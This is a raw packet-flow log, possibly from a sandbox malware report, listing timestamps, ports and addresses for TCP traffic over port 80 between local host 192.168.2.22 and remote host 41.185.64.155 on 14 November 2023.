Nov 14, 2023 13:26:24.701405048 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701423883 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.701446056 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701448917 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.701483011 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701486111 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.701525927 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701528072 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.701565027 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701565027 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.701605082 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701606035 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.701642990 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701647043 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.701679945 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.701680899 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701724052 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.712649107 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.127831936 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.127876997 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.127916098 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.127955914 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.127994061 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.127996922 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.127996922 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.127996922 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128037930 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128076077 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128086090 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128086090 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128115892 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128118038 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128154993 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128185987 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128196955 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128225088 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128237009 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128245115 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128278971 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128284931 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128317118 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128340960 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128357887 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128362894 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128396034 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128403902 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128437042 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128444910 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128479004 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128520012 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128556013 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128585100 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128595114 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128598928 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128634930 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.128700972 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.128740072 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.130167961 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.130733967 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554306030 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554337025 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554351091 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554358959 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554373026 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554389000 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554413080 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554426908 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554444075 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554456949 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554521084 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554557085 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554651976 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554666996 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554706097 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554716110 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554722071 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554732084 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554744959 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554754972 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554769039 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554786921 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554917097 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554932117 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554944992 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554960012 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.554965973 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554979086 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.554997921 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555066109 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555107117 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555139065 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555155039 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555166960 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555180073 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555181026 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555193901 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555197954 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555212021 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555216074 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555226088 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555234909 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555248976 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555263996 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555372000 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555416107 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555448055 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555461884 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555474043 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555480957 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555489063 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555510998 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555571079 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555583954 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555597067 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555610895 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555620909 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555622101 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555639982 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555645943 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555663109 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555679083 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555783987 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555798054 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.555831909 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.555843115 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.557790995 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.558686018 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.980669975 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.980690002 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.980701923 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.980716944 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.980853081 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.980943918 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.980958939 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.980969906 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.980984926 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981015921 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.981029034 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.981107950 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981122971 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981139898 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981156111 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981164932 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.981178045 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.981199026 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.981311083 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981328964 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981342077 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981355906 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981372118 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.981395960 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.981477022 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981491089 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.981524944 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.983479977 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.983727932 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.983741045 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.983752966 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.983797073 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.983812094 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.984205008 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.984796047 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.984812021 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.984826088 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.984839916 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.984839916 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.984858990 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.984859943 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.984877110 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.984882116 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.984898090 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.984941006 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.984991074 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985004902 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985033989 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985049963 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985058069 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985073090 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985100985 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985115051 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985331059 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985343933 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985357046 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985369921 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985373974 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985384941 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985390902 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985409021 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985411882 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985424995 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985428095 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985439062 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985456944 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985464096 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985476017 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985512018 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985527039 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985538960 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985552073 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985555887 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985570908 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985585928 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985652924 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985668898 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985682011 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985694885 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985697031 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985707998 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985727072 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985735893 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.985779047 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985793114 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985800982 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:25.985857964 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.986527920 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:25.986994982 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.407355070 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.407378912 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.407396078 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.407412052 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.407442093 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.407478094 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.407478094 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.407550097 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.407565117 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.407599926 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.407603025 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.407618999 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.407635927 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.407635927 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.407660007 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.409882069 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.409899950 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.409940958 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.410008907 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.410064936 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.410079002 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.410080910 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.410104036 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.410104990 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.410121918 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.410145044 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.410342932 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.410358906 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.410366058 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.410375118 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.410428047 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.410729885 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.412668943 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.412683964 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.412698984 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.412719965 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.412740946 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.412817001 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.412965059 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.412981033 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413008928 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413019896 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413258076 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413300991 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413326979 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413343906 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413357973 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413372040 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413392067 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413403034 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413642883 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413692951 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413803101 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413819075 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413832903 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413845062 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413851976 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413858891 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413870096 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.413886070 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413897991 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413897991 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.413924932 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414151907 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414215088 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414215088 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414247036 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414262056 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414273977 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414287090 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414299965 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414309978 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414310932 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414320946 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414326906 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414340019 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414344072 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414354086 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414372921 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414397955 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414412022 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414412975 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414427996 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414441109 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414446115 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414453983 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414454937 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414475918 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414482117 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.414484024 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414505005 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414520025 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.414635897 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.834266901 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.834323883 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.834336042 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.834343910 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.834537983 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.834861040 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.834923029 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.834935904 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.834942102 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.834952116 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.834966898 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.834986925 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835005045 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835005999 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835058928 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835072994 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835086107 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835100889 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835114956 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835134029 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835144043 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835210085 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835222960 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835242033 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835257053 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835262060 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835270882 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835282087 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835309029 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:26.835412979 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:26.835427046 CET	80	49162	41.185.64.155	192.168.2.22
